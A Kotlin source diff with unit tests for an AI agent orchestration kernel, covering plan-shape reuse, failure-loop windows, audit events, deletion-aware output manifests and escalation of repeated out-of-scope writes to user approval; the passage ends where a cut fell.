@@ -69,25 +69,38 @@ internal fun mineSuccessfulPlanShapes(events: List<StoredEvent>, exclude: String
}
/**
* L0/SYSTEM entry naming the closest matching prior successful plan shape but only for the PLANNING
* stage (the one producing an `execution_plan`), and only when resemblance clears [MIN_INTENT_OVERLAP]
* so an unrelated run's shape is not mistaken for guidance.
* L0/SYSTEM entry naming the closest matching prior successful plan shape, for the two stages that
* can act on it ([PLAN_SHAPE_CONSUMERS]) and only when resemblance clears [MIN_INTENT_OVERLAP] so an
* unrelated run's shape is not mistaken for guidance.
*
* The planner reuses the shape as structure. **Discovery** reads the same fact for a different
* purpose (#305 §Store 3, "discovery starts warm"): the stage list of a completed run of this
* task-family is the cheapest available statement of what this kind of goal ends up needing, so
* discovery can go look at those areas now instead of finding them out at stage 6. Same mined fact,
* two framings hence one function with a per-stage lead-in.
*/
internal suspend fun SessionOrchestrator.successfulPlanShapeEntries(
sessionId: SessionId,
stageConfig: StageConfig,
): List<ContextEntry> {
val isPlanningStage = stageConfig.produces.any { it.kind.id == "execution_plan" }
if (!isPlanningStage) return emptyList()
val consumerKind = planShapeConsumerKind(stageConfig.produces.map { it.kind.id }) ?: return emptyList()
val here = initialIntent(sessionId)?.let(::intentKeywords).orEmpty()
if (here.isEmpty()) return emptyList()
val best = mineSuccessfulPlanShapes(eventStore.allEvents().toList(), exclude = sessionId.value)
.map { it to keywordOverlap(here, it.intentKeywords) }
.filter { it.second >= MIN_INTENT_OVERLAP }
.maxByOrNull { it.second } ?: return emptyList()
val content = "## A plan shape that worked before\nA prior run with a similar goal completed " +
"successfully using this stage sequence — reuse its structure where it fits, adapt where the " +
"goal differs:\n${best.first.stageSequence.joinToString(" → ")}"
val lead = if (consumerKind == "discovery") {
"## What a prior run of this kind of goal needed\nA prior run with a similar goal completed, " +
"and its work broke down into these stages — treat it as a checklist of surfaces this kind " +
"of task ends up touching, and inspect them now rather than discovering them mid-run. It is " +
"evidence from another run, not a scope decision for this one:\n"
} else {
"## A plan shape that worked before\nA prior run with a similar goal completed successfully " +
"using this stage sequence — reuse its structure where it fits, adapt where the goal " +
"differs:\n"
}
val content = lead + best.first.stageSequence.joinToString("")
return listOf(
ContextEntry(
id = ContextEntryId(UUID.randomUUID().toString()),
@@ -101,6 +114,16 @@ internal suspend fun SessionOrchestrator.successfulPlanShapeEntries(
)
}
/**
* The artifact kind that makes a stage a plan-shape consumer, or null when none of [producedKinds]
* does. Keyed on the artifact kind a stage *produces*, not its stage id, so a workflow can name its
* discovery/planning stages anything.
*/
internal fun planShapeConsumerKind(producedKinds: List<String>): String? =
producedKinds.firstOrNull { it in PLAN_SHAPE_CONSUMERS }
private val PLAN_SHAPE_CONSUMERS = setOf("execution_plan", "discovery")
private const val MIN_INTENT_OVERLAP = 0.34
private val INTENT_STOPWORDS = setOf(
"the", "and", "for", "with", "that", "this", "add", "make", "use", "using", "into", "from", "all",
@@ -5,6 +5,7 @@ import com.correx.core.events.events.ClarificationQuestion
import com.correx.core.events.events.ClarificationRequestedEvent
import com.correx.core.events.events.ClarificationAnswer
import com.correx.core.events.events.ClarificationAnsweredEvent
import com.correx.core.events.events.FailureTicketOpenedEvent
import com.correx.core.events.events.OrchestrationPausedEvent
import com.correx.core.events.events.OrchestrationResumedEvent
import com.correx.core.events.events.StoredEvent
@@ -74,7 +75,15 @@ internal fun SessionOrchestrator.repeatedBuildCriticalReferenceBlock(
*
* ponytail: cumulative over the whole stage, not windowed per re-entry a break escalates to
* recovery under a bounded budget, so an unfixable loop terminates rather than re-tripping forever.
* Add a per-re-entry window only if a legitimate later attempt gets cut short.
*
* #304: the window IS reset once the stage has been routed to recovery (a [FailureTicketOpenedEvent]
* naming it), so a stage returning from a genuine repair attempt gets a clean count instead of
* re-tripping this gate on its very first post-recovery execution off stale, pre-recovery failures
* which is exactly what turned recovery into an expensive predetermined dead end (session
* 67ef4b3f-9ce9-4436-9870-543feb0ca450). The recovery ROUTE budget ([RECOVERY_ROUTE_BUDGET] /
* `recoveryRoutes`) is untouched by this reset it is charged by the reducer off the ticket event
* itself, independent of this fold so a stage that keeps failing after recovery still terminates
* once that budget is spent.
*/
internal fun SessionOrchestrator.repeatedToolFailureLoop(
sessionId: SessionId,
@@ -88,12 +97,16 @@ internal fun detectRepeatedToolFailure(
stageId: StageId,
limit: Int,
): String? {
val stageInvocations = events
val windowStart = events
.filter { (it.payload as? FailureTicketOpenedEvent)?.stageId == stageId }
.maxOfOrNull { it.sequence } ?: Long.MIN_VALUE
val windowed = events.filter { it.sequence > windowStart }
val stageInvocations = windowed
.mapNotNull { it.payload as? ToolInvocationRequestedEvent }
.filter { it.stageId == stageId }
.map { it.invocationId }
.toSet()
val repeated = events
val repeated = windowed
.mapNotNull { it.payload as? ToolExecutionFailedEvent }
.filter { it.invocationId in stageInvocations }
// Collapse to a stable signature so equivalent retries group together: drop digits (package
@@ -283,8 +283,10 @@ internal fun renderDecomposePreview(parameters: Map<String, Any>): String? {
parentTitle?.let { append("\n epic: ").append(it) }
tasks.forEachIndexed { i, e ->
val o = e as? JsonObject
append("\n ").append(i + 1).append(". ").append((o?.get("title") as? JsonPrimitive)?.content ?: "(untitled)")
val afters = ((o?.get("depends_on") as? JsonArray)?.mapNotNull { (it as? JsonPrimitive)?.content } ?: emptyList())
append("\n ").append(i + 1).append(". ")
.append((o?.get("title") as? JsonPrimitive)?.content ?: "(untitled)")
val afters = ((o?.get("depends_on") as? JsonArray)
?.mapNotNull { (it as? JsonPrimitive)?.content } ?: emptyList())
.map { d -> (refToIndex[d] ?: d.toIntOrNull())?.let { titleAt(it) } ?: d }
if (afters.isNotEmpty()) append(" (after: ").append(afters.joinToString(", ")).append(")")
}
@@ -2,6 +2,8 @@ package com.correx.core.kernel.orchestration
import com.correx.core.context.model.ContextPack
import com.correx.core.events.events.ApprovalRequestedEvent
import com.correx.core.events.events.ContextAssembledEvent
import com.correx.core.events.events.ContextManifestEntry
import com.correx.core.events.events.ContextTruncatedEvent
import com.correx.core.events.events.InitialIntentEvent
import com.correx.core.events.events.OrchestrationPausedEvent
@@ -78,6 +80,35 @@ internal suspend fun SessionOrchestrator.emitContextTruncationIfNeeded(
)
}
// #307: record the manifest of what got injected into the stage's initial context build — NOT
// the content (that's derivable/replayable, invariant #9, and already in CAS via the prompt
// artifact) — so the injected set is auditable from the event log alone.
internal suspend fun SessionOrchestrator.emitContextAssembled(
sessionId: SessionId,
stageId: StageId,
contextPack: ContextPack,
) {
val entries = contextPack.layers.values.flatten().map { entry ->
ContextManifestEntry(
sourceType = entry.sourceType,
sourceId = entry.sourceId,
tokenEstimate = entry.tokenEstimate,
layer = entry.layer.name,
role = entry.role.name,
)
}
emit(
sessionId,
ContextAssembledEvent(
sessionId = sessionId,
stageId = stageId,
contextPackId = contextPack.id.value,
entries = entries,
timestampMs = Clock.System.now().toEpochMilliseconds(),
),
)
}
internal fun SessionOrchestrator.fallbackTokenEstimate(content: String): Int {
return (content.length / 4).coerceAtLeast(1)
}
@@ -31,6 +31,7 @@ import com.correx.core.events.events.ToolExecutionRejectedEvent
import com.correx.core.events.events.ToolInvocationRequestedEvent
import com.correx.core.events.events.ToolReceipt
import com.correx.core.events.events.ToolRequest
import com.correx.core.events.events.WriteScopeGrantedEvent
import com.correx.core.events.risk.RiskAction
import com.correx.core.events.risk.RiskSummary
import com.correx.core.toolintent.ToolCallAssessmentInput
@@ -225,14 +226,36 @@ internal suspend fun SessionOrchestrator.dispatchToolCalls(
// Per-task write scope: while a task is claimed, narrow the manifest to its affected
// paths (recorded on the task) so the implementer can't write outside its unit of work.
// Falls back to the stage's static manifest when nothing is claimed.
val effectiveManifest = taskClaimCoordinator?.activeScope(sessionId)?.takeIf { it.isNotEmpty() }
?: stageConfig.writeManifest
val escalatedScope = escalatedWriteScopePaths(sessionId)
val effectiveManifest = (
taskClaimCoordinator?.activeScope(sessionId)?.takeIf { it.isNotEmpty() }
?: stageConfig.writeManifest
) + escalatedScope
val plane2Risk: RiskSummary? = runPlane2Assessment(
sessionId, stageId, invocationId, toolCall.function.name, request, tool, effectives,
effectiveManifest,
)?.let { assessment ->
if (assessment.recommendedAction == RiskAction.BLOCK) {
val rationale = assessment.rationale.joinToString("; ")
// #301: a write repeatedly rejected for being outside the claimed task's scope or
// the stage's manifest — never for anything else — escalates to user approval
// after N same-path rejections instead of hard-blocking forever. Small models
// routinely fail to comply with the "add its path via task_update" remediation and
// thrash the same call rather than widen scope themselves.
val escalationPath = (parameters["path"] as? String)
?.takeIf { isScopeBlockRationale(rationale) }
val escalateAfterN = tuning.escalateScopeAfterN
if (escalationPath != null && escalateAfterN > 0) {
val priorRejections = priorScopeRejections(sessionId, escalationPath)
if (priorRejections.size >= escalateAfterN) {
val firstAttempt = priorRejections.first().first
return@flatMap escalateWriteScopeBlock(
sessionId, stageId, invocationId, toolCall, tier, escalationPath,
firstAttempt, effectives, toolCallReasoning, approvalMode, assessment,
fileWrittenSlots,
)
}
}
// On a bad-path block, point the model at the closest real file so it fixes the
// path instead of retrying the same wrong guess (deep package paths are easy to
// misremember). Only fires when we can name a concrete match from the repo map.
@@ -516,6 +539,180 @@ internal suspend fun SessionOrchestrator.dispatchToolCalls(
}
}
private fun parametersToArgumentsJson(parameters: Map<String, Any>): String =
kotlinx.serialization.json.buildJsonObject {
parameters.forEach { (k, v) ->
when (v) {
is List<*> -> put(
k,
kotlinx.serialization.json.buildJsonArray {
v.forEach { add(kotlinx.serialization.json.JsonPrimitive(it.toString())) }
},
)
else -> put(k, kotlinx.serialization.json.JsonPrimitive(v.toString()))
}
}
}.toString()
/**
* #301: the Nth same-path WRITE_SCOPE/PATH_OUTSIDE_MANIFEST rejection routes into the existing
* approval/pause flow instead of hard-blocking again. [firstAttempt] is the FIRST invocation that
* was rejected for this path/reason (reached back into via [priorScopeRejections]) its pristine
* arguments are what gets previewed and, on approval, executed; later attempts this session may
* have degraded (e.g. the model giving up and calling `task_update(action="block")` instead), so
* replaying those would not fulfil the original intent.
*/
internal suspend fun SessionOrchestrator.escalateWriteScopeBlock(
sessionId: SessionId,
stageId: StageId,
invocationId: ToolInvocationId,
toolCall: ToolCallRequest,
tier: Tier,
path: String,
firstAttempt: ToolInvocationRequestedEvent,
effectives: RunEffectives,
toolCallReasoning: String?,
approvalMode: ApprovalMode,
plane2Risk: RiskSummary?,
fileWrittenSlots: List<TypedArtifactSlot>,
): List<ContextEntry> {
val sourceId = toolCall.id ?: invocationId.value
val assistantEntry = ContextEntry(
id = ContextEntryId(UUID.randomUUID().toString()),
layer = ContextLayer.L2,
sourceType = "assistantToolCall",
sourceId = sourceId,
content = Json.encodeToString(ToolCallRequest.serializer(), toolCall),
tokenEstimate = estimateTokens(toolCall.function.arguments),
role = EntryRole.ASSISTANT,
reasoning = toolCallReasoning,
)
suspend fun rejected(reason: String): List<ContextEntry> {
blockTaskOnScopeRejection(sessionId, toolCall.function.name, reason)
emit(
sessionId,
ToolExecutionRejectedEvent(
invocationId = invocationId,
sessionId = sessionId,
toolName = toolCall.function.name,
tier = tier,
reason = reason,
),
)
return listOf(
assistantEntry,
ContextEntry(
id = ContextEntryId(UUID.randomUUID().toString()),
layer = ContextLayer.L2,
sourceType = "toolResult",
sourceId = sourceId,
content = "BLOCKED: $reason",
tokenEstimate = estimateTokens(reason),
role = EntryRole.TOOL,
),
)
}
val projectId = effectives.policy?.workspaceRoot?.let { ProjectIdentity.of(it.toString()) }
val approvalCtx = ApprovalContext(
identity = ApprovalScopeIdentity(sessionId, stageId, projectId = projectId),
mode = approvalMode,
)
val requestId = ApprovalRequestId(UUID.randomUUID().toString())
val toolPreview = computeToolPreview(
firstAttempt.toolName, firstAttempt.request.parameters, effectives.policy?.workspaceRoot,
)
val previewArguments = parametersToArgumentsJson(firstAttempt.request.parameters)
val domainRequest = DomainApprovalRequest(
id = requestId,
tier = firstAttempt.tier,
validationReportId = ValidationReportId(UUID.randomUUID().toString()),
riskSummaryId = null,
timestamp = Clock.System.now(),
toolName = firstAttempt.toolName,
preview = toolPreview ?: previewArguments.take(200),
)
val sessionGrants = approvalRepository.getApprovalState(sessionId).grants.values
val ledgerGrants = approvalRepository.getApprovalState(GRANT_LEDGER_SESSION_ID).grants.values
val activeGrants = (sessionGrants + ledgerGrants).toList()
val engineDecision = approvalEngine.evaluate(domainRequest, approvalCtx, activeGrants, Clock.System.now())
val approved: Boolean
val denyReason: String?
if (engineDecision.state == ApprovalStatus.COMPLETED) {
// Headless/no-approver sessions resolve here (e.g. approvalMode DENY auto-completes to a
// denial) — the escalation never hangs waiting on a human who isn't connected.
emitDecisionResolved(sessionId, domainRequest, engineDecision)
approved = engineDecision.isApproved
denyReason = engineDecision.reason
} else {
val deferred = CompletableDeferred<ApprovalDecision>()
pendingApprovals[requestId] = deferred
emit(sessionId, OrchestrationPausedEvent(sessionId, stageId, "APPROVAL_PENDING"))
emit(
sessionId,
ApprovalRequestedEvent(
requestId = requestId,
tier = firstAttempt.tier,
validationReportId = domainRequest.validationReportId,
riskSummaryId = null,
riskSummary = plane2Risk,
sessionId = sessionId,
stageId = stageId,
projectId = null,
toolName = firstAttempt.toolName,
preview = toolPreview ?: previewArguments.take(200),
),
)
val userDecision = try {
deferred.await()
} finally {
pendingApprovals.remove(requestId)
}
emitDecisionResolved(sessionId, domainRequest, userDecision)
emit(sessionId, OrchestrationResumedEvent(sessionId, stageId))
approved = userDecision.isApproved
denyReason = userDecision.reason
}
if (!approved) {
return rejected(denyReason ?: "scope-widening request denied")
}
// Approved: widen the write scope for this path for the rest of the session (future writes to
// it skip straight past the risk plane, mirroring OutsidePathAccessGrantedEvent), then execute
// the FIRST rejected attempt's pristine write rather than the model's current — possibly
// degraded — call.
emit(sessionId, WriteScopeGrantedEvent(sessionId, stageId, path))
val executor = effectives.executor ?: return rejected("no executor available to apply the approved write")
val tool = effectives.registry?.resolve(firstAttempt.toolName)
val result = executor.execute(firstAttempt.request)
val rendered = renderToolResult(firstAttempt.toolName, tool, result)
recordToolExecution(
sessionId,
stageId,
toolCall.copy(function = toolCall.function.copy(name = firstAttempt.toolName)),
invocationId,
tier,
result,
tool as? FileAffectingTool,
firstAttempt.request,
fileWrittenSlots,
rendered.fullOutputHash,
)
return listOf(
assistantEntry,
ContextEntry(
id = ContextEntryId(UUID.randomUUID().toString()),
layer = ContextLayer.L2,
sourceType = "toolResult",
sourceId = sourceId,
content = "APPROVED: the user widened write scope to admit '$path' after repeated rejection; " +
"the original write is applied. ${rendered.content}",
tokenEstimate = estimateTokens(rendered.content),
role = EntryRole.TOOL,
),
)
}
/**
* A rejected [SCOPE_PROPOSAL_TOOL] call means the operator denied widening the claimed task's
* scope block the task so the loop advances instead of the implementer retrying the same
@@ -86,7 +86,9 @@ internal suspend fun SessionOrchestrator.verifiedBaselineEntries(sessionId: Sess
sourceType = "verifiedBaseline",
sourceId = lastPass.stateKey,
tokenEstimate = estimateTokens(content),
role = EntryRole.SYSTEM,
// #312: flips known-good → STALE the moment a write lands, i.e. it changes within a
// single stage. Mutable ⇒ USER (stays L0, so it is still pinned and never pruned).
role = EntryRole.USER,
),
)
}
@@ -4,7 +4,9 @@ import com.correx.core.events.events.ToolCallAssessedEvent
import com.correx.core.events.events.RepoMapComputedEvent
import com.correx.core.events.events.OutsidePathAccessGrantedEvent
import com.correx.core.events.events.ToolExecutionCompletedEvent
import com.correx.core.events.events.ToolExecutionRejectedEvent
import com.correx.core.events.events.ToolInvocationRequestedEvent
import com.correx.core.events.events.WriteScopeGrantedEvent
import com.correx.core.events.risk.RiskAction
import com.correx.core.toolintent.SessionContextProjection
import com.correx.core.events.events.TransitionExecutedEvent
@@ -68,6 +70,55 @@ internal fun SessionOrchestrator.grantedOutsidePaths(sessionId: SessionId): Set<
.map { it.path }
.toSet()
/**
* Write-scope/manifest paths the operator has approved widening into this session (folded from
* [WriteScopeGrantedEvent] see #301). Replay-safe: reads the log, never re-prompts a path once
* granted.
*/
internal fun SessionOrchestrator.escalatedWriteScopePaths(sessionId: SessionId): Set<String> =
eventStore.read(sessionId)
.mapNotNull { it.payload as? WriteScopeGrantedEvent }
.filter { it.sessionId == sessionId }
.map { it.path }
.toSet()
/** The rule codes whose BLOCK rationale (`"[CODE] message"`, see [toRiskSummary]) makes a
* rejection eligible for the #301 same-path escalation a write rejected purely for being
* outside the claimed task's scope or the stage's manifest, not for any other reason (path
* traversal, privileged location, etc. are never escalated). */
private val SCOPE_BLOCK_CODES = setOf("WRITE_SCOPE", "PATH_OUTSIDE_MANIFEST")
internal fun SessionOrchestrator.isScopeBlockRationale(rationale: String): Boolean =
SCOPE_BLOCK_CODES.any { rationale.contains("[$it]") }
/**
* Every (first-attempt-invocation, rejection) pair this session where [path] was rejected for a
* WRITE_SCOPE/PATH_OUTSIDE_MANIFEST reason, oldest first. Reached back into purely by folding the
* event log no branching/replay-engine change needed (#301). The invocation carries the
* pristine [ToolRequest] parameters from that attempt, which may differ from the model's current
* (possibly degraded) call.
*/
internal fun SessionOrchestrator.priorScopeRejections(
sessionId: SessionId,
path: String,
): List<Pair<ToolInvocationRequestedEvent, ToolExecutionRejectedEvent>> {
val events = eventStore.read(sessionId)
val invocationsById = events
.mapNotNull { it.payload as? ToolInvocationRequestedEvent }
.filter { it.sessionId == sessionId }
.associateBy { it.invocationId }
return events
.mapNotNull { it.payload as? ToolExecutionRejectedEvent }
.filter { it.sessionId == sessionId && isScopeBlockRationale(it.reason) }
.mapNotNull { rejected ->
val invocation = invocationsById[rejected.invocationId] ?: return@mapNotNull null
val invocationPath = invocation.request.parameters["path"] as? String
if (invocationPath == path) invocation to rejected else null
}
}
/**
* Returns true when the agent must be offered only read-only tools on the next inference turn.
* Active from the moment a READ_BEFORE_WRITE block lands until a FILE_READ completion follows it.
@@ -112,7 +163,20 @@ internal fun SessionOrchestrator.isReadOnlyMode(sessionId: SessionId): Boolean {
return blocked
}
internal fun SessionOrchestrator.mandateSuppressedByTicket(sessionId: SessionId, stageId: StageId, stageConfig: StageConfig): Boolean {
/** True once any tool result in the session has spilled its full output to CAS (recorded as a
* non-null [ToolReceipt.fullOutputHash]). Until then the retrieval tool `tool_output` is withheld
* from stage tool lists it can't retrieve anything before a spill, and an unusable hash-eating tool
* in every request just nudges models into reasoning about opaque hashes. */
internal fun SessionOrchestrator.sessionHasSpilledOutput(sessionId: SessionId): Boolean =
eventStore.read(sessionId).any {
(it.payload as? ToolExecutionCompletedEvent)?.receipt?.fullOutputHash != null
}
internal fun SessionOrchestrator.mandateSuppressedByTicket(
sessionId: SessionId,
stageId: StageId,
stageConfig: StageConfig,
): Boolean {
if (stageConfig.metadata["role"] == "recovery") return false
return eventStore.read(sessionId)
.mapNotNull { it.payload as? TransitionExecutedEvent }
@@ -0,0 +1,33 @@
package com.correx.core.kernel.orchestration
import com.correx.core.events.events.FileWrittenEvent
import com.correx.core.events.events.StoredEvent
import com.correx.core.events.events.ToolInvocationRequestedEvent
import com.correx.core.events.types.SessionId
import com.correx.core.events.types.StageId
internal fun SessionOrchestrator.stageWrittenPaths(sessionId: SessionId, stageId: StageId): List<String> =
stageWrittenPathsFrom(eventStore.read(sessionId), stageId)
/**
* The files [stageId] wrote that still exist the stage's live output manifest.
*
* Keeps only paths whose LAST mutation still has content. A deletion is a [FileWrittenEvent] with a
* null `postImageHash`, so filtering per-event rather than per-path leaves a written-then-deleted file
* in the manifest forever. Callers treat the manifest as ground truth: the contract gate stamps
* `file_exists` on every entry, which makes deleting or renaming, which is delete plus write a
* permanent contract violation, deadlocking against a build gate that demands one (observed live:
* "rename it to use the '.cjs' file extension" against `file_exists` on the `.js`).
*/
internal fun stageWrittenPathsFrom(events: List<StoredEvent>, stageId: StageId): List<String> {
val invocationIds = events.mapNotNull { it.payload as? ToolInvocationRequestedEvent }
.filter { it.stageId == stageId }
.map { it.invocationId }
.toSet()
return events.mapNotNull { it.payload as? FileWrittenEvent }
.filter { it.invocationId in invocationIds }
.associateBy { it.path } // last write per path wins
.filterValues { it.postImageHash != null }
.keys
.toList()
}
@@ -0,0 +1,42 @@
package com.correx.core.kernel.orchestration
import org.junit.jupiter.api.Assertions.assertFalse
import org.junit.jupiter.api.Assertions.assertTrue
import org.junit.jupiter.api.Test
/**
* The trigger predicate for the in-loop mandate refresh (#461). It decides whether an LSP re-pull
* fires at all, so a false negative leaves the agent editing against a stale diagnostic and a false
* positive re-pulls on every unrelated write.
*/
class LspMandateRefreshTest {
private val failure = "stage build has LSP diagnostics in files it wrote. Fix these before proceeding:\n" +
"- src/api/queries.ts:39:3 TS1005 '}' expected"
@Test
fun `write on the path the failure names triggers a refresh`() {
assertTrue(failureNamesWrittenPath(failure, listOf("src/api/queries.ts")))
}
@Test
fun `a failure naming a bare filename still matches the workspace-relative write`() {
assertTrue(failureNamesWrittenPath("queries.ts(39,3): '}' expected", listOf("src/api/queries.ts")))
}
@Test
fun `an unrelated write does not trigger a refresh`() {
assertFalse(failureNamesWrittenPath(failure, listOf("src/api/other.ts", "README.md")))
}
@Test
fun `a suffix that is not a path boundary does not match`() {
// "notqueries.ts" ends with the named token as a substring but is a different file.
assertFalse(failureNamesWrittenPath(failure, listOf("src/api/notqueries.ts")))
}
@Test
fun `a failure naming no path never triggers a refresh`() {
assertFalse(failureNamesWrittenPath("stage build failed: server exited", listOf("src/api/queries.ts")))
}
}
@@ -45,6 +45,14 @@ class PlanPatternMiningTest {
assertEquals(0.0, keywordOverlap(a, emptySet()))
}
@Test
fun `discovery and planning stages consume plan shapes, other stages do not`() {
assertEquals("discovery", planShapeConsumerKind(listOf("discovery")))
assertEquals("execution_plan", planShapeConsumerKind(listOf("execution_plan")))
assertEquals(null, planShapeConsumerKind(listOf("dod", "design")))
assertEquals(null, planShapeConsumerKind(emptyList()))
}
private var seq = 0L
private fun ev(sid: String, payload: EventPayload) = listOf(
StoredEvent(
@@ -0,0 +1,143 @@
package com.correx.core.kernel.orchestration
import com.correx.core.approvals.Tier
import com.correx.core.events.events.EventMetadata
import com.correx.core.events.events.EventPayload
import com.correx.core.events.events.FileWrittenEvent
import com.correx.core.events.events.LspDiagnostic
import com.correx.core.events.events.LspDiagnosticsCompletedEvent
import com.correx.core.events.events.StoredEvent
import com.correx.core.events.events.ToolInvocationRequestedEvent
import com.correx.core.events.events.ToolRequest
import com.correx.core.events.types.EventId
import com.correx.core.events.types.SessionId
import com.correx.core.events.types.StageId
import com.correx.core.events.types.ToolInvocationId
import kotlinx.datetime.Instant
import org.junit.jupiter.api.Assertions.assertEquals
import org.junit.jupiter.api.Assertions.assertNotNull
import org.junit.jupiter.api.Assertions.assertNull
import org.junit.jupiter.api.Assertions.assertTrue
import org.junit.jupiter.api.Test
/** #309: same-fingerprint loop-breaker + repair-ledger data source, unit-tested as pure folds. */
class RecoveryFileLoopBreakTest {
private val stage = StageId("recovery")
private val session = SessionId("s1")
private var seq = 0L
@Test
fun `a file rewritten past the limit with a diagnostic that never clears trips the breaker`() {
val events = buildList {
repeat(3) { addAll(writeThenDiagnose("SessionsList.tsx", cleared = false, code = "TS6133")) }
}
val reason = recoveryFileLoopBreakPure(events, stage, limit = 3)
assertNotNull(reason)
assertTrue(reason!!.contains("SessionsList.tsx"), "reason: $reason")
assertTrue(reason.contains("3x"), "reason: $reason")
assertTrue(reason.contains("TS6133"), "reason: $reason")
}
@Test
fun `a file whose diagnostic clears before the limit does not trip the breaker`() {
val events = buildList {
addAll(writeThenDiagnose("MainLayout.tsx", cleared = false, code = "TS1005"))
addAll(writeThenDiagnose("MainLayout.tsx", cleared = true))
}
assertNull(recoveryFileLoopBreakPure(events, stage, limit = 3))
}
@Test
fun `ledger annotates an unresolved file distinctly from a resolved one`() {
val events = buildList {
repeat(3) { addAll(writeThenDiagnose("SessionsList.tsx", cleared = false, code = "TS6133")) }
addAll(writeThenDiagnose("MainLayout.tsx", cleared = false, code = "TS1005"))
addAll(writeThenDiagnose("MainLayout.tsx", cleared = true))
}
val outcomes = fileRepairOutcomes(events, stage).associateBy { it.path }
val stuck = outcomes.getValue("SessionsList.tsx")
assertEquals(false, stuck.resolved)
assertEquals(3, stuck.writeCount)
assertEquals(setOf("TS6133"), stuck.persistentCodes)
assertTrue(
describeFileRepairOutcome(stuck).let {
it.contains("written 3x") && it.contains("TS6133") &&
it.contains("Re-writing has not changed the result")
},
)
val fixed = outcomes.getValue("MainLayout.tsx")
assertEquals(true, fixed.resolved)
assertEquals(2, fixed.writeCount)
assertEquals(2, fixed.clearedAtWrite)
assertTrue(describeFileRepairOutcome(fixed).let { it.contains("cleared after write 2") })
}
@Test
fun `a write with no diagnostic run after it reads as unchecked, never as resolved`() {
val events = buildList {
repeat(3) { addAll(writeThenDiagnose("SessionsList.tsx", cleared = false, code = "TS6133")) }
addAll(writeOnly("SessionsList.tsx"))
}
val outcome = fileRepairOutcomes(events, stage).single()
assertTrue(outcome.unchecked)
assertEquals(false, outcome.resolved, "an unverified write must not read as clean")
assertTrue(describeFileRepairOutcome(outcome).contains("not re-checked"))
// and it must not terminally kill the run on the absence of evidence
assertNull(recoveryFileLoopBreakPure(events, stage, limit = 3))
}
// recoveryFileLoopBreak is an extension on DefaultSessionOrchestrator that reads the event store;
// its pure core is fileRepairOutcomes, exercised directly here for the same result without needing
// to stand up an orchestrator instance.
private fun recoveryFileLoopBreakPure(events: List<StoredEvent>, stageId: StageId, limit: Int): String? {
val stuck = fileRepairOutcomes(events, stageId)
.firstOrNull { !it.resolved && !it.unchecked && it.writeCount >= limit }
?: return null
val codes = stuck.persistentCodes.takeIf { it.isNotEmpty() }?.joinToString(", ") ?: "its diagnostic"
return "recovery stage ${stageId.value} rewrote '${stuck.path}' ${stuck.writeCount}x without " +
"clearing $codes — the same fix has not changed the result. A materially different fix is " +
"required; escalating instead of continuing to loop."
}
private fun ev(payload: EventPayload) = StoredEvent(
metadata = EventMetadata(
eventId = EventId("e${seq++}"),
sessionId = session,
timestamp = Instant.parse("2026-01-01T00:00:00Z"),
schemaVersion = 1,
causationId = null,
correlationId = null,
),
sequence = seq,
sessionSequence = seq,
payload = payload,
)
private fun writeOnly(path: String): List<StoredEvent> = writeThenDiagnose(path, cleared = true).dropLast(1)
private fun writeThenDiagnose(path: String, cleared: Boolean, code: String? = null): List<StoredEvent> {
val inv = ToolInvocationId("inv-${seq}")
val req = ev(
ToolInvocationRequestedEvent(
invocationId = inv, sessionId = session, stageId = stage,
toolName = "file_edit", tier = Tier.T2,
request = ToolRequest(inv, session, stage, "file_edit", mapOf("path" to path)),
),
)
val write = ev(
FileWrittenEvent(
invocationId = inv, sessionId = session, path = path,
postImageHash = "h${seq}", preExisted = true, timestampMs = 0,
),
)
val diagnostics = if (cleared) {
emptyList()
} else {
listOf(LspDiagnostic(path = path, line = 1, character = 1, severity = "error", code = code, message = "m"))
}
val diag = ev(LspDiagnosticsCompletedEvent(session, stage, "tsserver", diagnostics))
return listOf(req, write, diag)
}
}
@@ -22,7 +22,9 @@ class RemainingDeltaEntryTest {
),
)!!
assertEquals("remainingDelta", entry.sourceType)
assertEquals(EntryRole.SYSTEM, entry.role)
// #312: USER, not SYSTEM — it is recomputed every turn a write lands, so it must stay out
// of the cached system prefix, and PromptRenderer routes it to the trailing slot.
assertEquals(EntryRole.USER, entry.role)
// Forward-looking framing, not a history of what was done.
assertTrue(entry.content.contains("Remaining to finish this stage"))
assertTrue(entry.content.contains("- [ ] frontend/src/views/TaskView.tsx — exports_default_component"))
@@ -3,6 +3,7 @@ package com.correx.core.kernel.orchestration
import com.correx.core.approvals.Tier
import com.correx.core.events.events.EventMetadata
import com.correx.core.events.events.EventPayload
import com.correx.core.events.events.FailureTicketOpenedEvent
import com.correx.core.events.events.StoredEvent
import com.correx.core.events.events.ToolExecutionFailedEvent
import com.correx.core.events.events.ToolInvocationRequestedEvent
@@ -44,6 +45,37 @@ class RepeatedToolFailureLoopTest {
assertNull(detectRepeatedToolFailure(events, stage, limit = 6))
}
@Test
fun `#304 - a FailureTicketOpenedEvent for the stage resets the window so stale failures don't re-trip`() {
// 5 pre-recovery failures (below limit 6) + a ticket routing to recovery + 5 MORE post-recovery
// failures of the SAME signature must not sum to 10 and trip the gate — recovery gets a clean
// count, so this must stay null until 6 NEW failures accumulate after the ticket.
val events = buildList {
repeat(5) { addAll(failure("build gate: queries.ts(39,3): error TS1005: '}' expected")) }
add(
ev(
FailureTicketOpenedEvent(
sessionId = session,
stageId = stage,
gate = "stage_loop_break",
category = "implementation",
requiredCapability = "file_write",
routeTo = StageId("recovery"),
evidence = "stuck",
routeAttempt = 1,
),
),
)
repeat(5) { addAll(failure("build gate: queries.ts(39,3): error TS1005: '}' expected")) }
}
assertNull(detectRepeatedToolFailure(events, stage, limit = 6))
// A 6th post-ticket failure of the same signature DOES trip it — the reset only clears stale
// pre-recovery count, it does not disable the breaker going forward.
val tripped = events + failure("build gate: queries.ts(39,3): error TS1005: '}' expected")
assertNotNull(detectRepeatedToolFailure(tripped, stage, limit = 6))
}
@Test
fun `failures from other stages are not counted`() {
val other = StageId("scaffold")
@@ -0,0 +1,155 @@
package com.correx.core.kernel.orchestration
import com.correx.core.approvals.Tier
import com.correx.core.events.events.EventMetadata
import com.correx.core.events.events.EventPayload
import com.correx.core.events.events.FileWrittenEvent
import com.correx.core.events.events.StoredEvent
import com.correx.core.events.events.ToolInvocationRequestedEvent
import com.correx.core.events.events.ToolRequest
import com.correx.core.events.types.EventId
import com.correx.core.events.types.SessionId
import com.correx.core.events.types.StageId
import com.correx.core.events.types.ToolInvocationId
import kotlinx.datetime.Instant
import org.junit.jupiter.api.Assertions.assertEquals
import org.junit.jupiter.api.Assertions.assertTrue
import org.junit.jupiter.api.Test
/**
* The stage output manifest must track deletions. Callers treat it as ground truth the contract gate
